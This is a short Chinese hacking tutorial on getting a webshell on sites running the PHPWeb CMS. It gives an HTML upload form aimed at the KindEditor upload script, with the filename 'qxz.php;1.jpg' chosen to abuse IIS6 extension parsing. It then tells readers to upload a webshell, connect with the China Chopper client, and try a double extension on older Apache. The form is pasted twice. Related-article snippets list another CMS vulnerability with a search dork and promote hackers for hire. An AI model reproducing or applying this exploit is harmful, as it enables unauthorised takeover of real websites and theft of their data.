phpweb后台拿shell简单 ***
关于phpweb后台拿shell简单 *** 。
首先登录后台admin.php
登录后台管理系统后，然后把下面的文件保存为xxx.html，修改action，把 www.xxx.com 改成你的目标网站地址。
代码文件如下：
<form name=”uploadForm” method=”post” enctype=”multipart/form-data” action=”http://www.xxx.com/kedit/upload_cgi/upload.php”>
<input type=”text” name=”fileName” value=”qxz.php;1.jpg” />
<input type=”hidden” name=”attachPath” value=”news/pics/” />
<input type=”file” name=”fileData” size=”14″ /></td>
<input type=”submit” name=”button” value=”确定” />
</form>
<input type=”text” name=”fileName” value=”qxz.php;1.jpg” />
<input type=”hidden” name=”attachPath” value=”news/pics/” />
<input type=”file” name=”fileData” size=”14″ /></td>
<input type=”submit” name=”button” value=”确定” />
</form>
然后选择你的马儿再上传
上传后如果为iis6，就点击查看源码就可以找到马儿的路径了。
菜刀链接看下
PS：qxz.php;1.jpg这样的文件是允许上传的，只要服务器是IIS6就拿到webshell，低版本的apache可以试着重命名为qxz.php.jpg
代码文件下载地址：http://pan.baidu.com/s/1eRzHs
相关文章
动易CMS拿shell 图文教程
原创作者：泪舞 Qq:8109217 ( 转载请写上作者名 ) 动易CMS、我相信大家都不陌生吧?互联网很多企业站点都是用的动易...
改名字找黑客（黑客技术接单）
改名字怎么找黑客 1、接单黑客害群之马。改名字技术接单0。学校机子配置都那样。这其中肯定有不少电脑里存着重要资料愿意花钱赎回的。寻找黑客还碰见了，一次意外，该影片于2007年11月21日在美国上映，黑...
Nmap是用以端口扫描器,服务项目检验,乃至是漏洞检测等多种
Nmap是用以端口扫描器，服务项目检验，乃至是漏洞检测等多种多样作用的强劲专用工具。Nmap从新手入门到高級遮盖了很多基本的定义和指令，在本文的第二一部分，我将谈及Nmap一些高級的技术性。 &nb...
南方数据网站漏洞
漏洞影响版本 v10.0 v11.0 关键字：inurl:”HomeMarket.asp” 默认后台：/admin 直接爆用户密码： http://www.xxx.com/New...
微软公司的“程序运行控制方法”:AppLocker,管理人员
微软公司的“程序运行控制方法”：AppLocker，管理人员能够十分便捷地开展配备，以操纵客户能够在电子计算机上可运作什么程序流程、安裝什么文档、运作什么脚本制作？网络黑客假如能绕开AppLocke...
我的Windows2008的ip详细地址是192.168
因为端口转发的牵涉到的专业知识和专用工具过多，因此大家分篇数而言，这篇主要讲讲该机的2个端口号中间怎样相互之间分享？里面的技术性倒是非常简单，你不用担心你学不懂。 因为端口转发一般是分...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！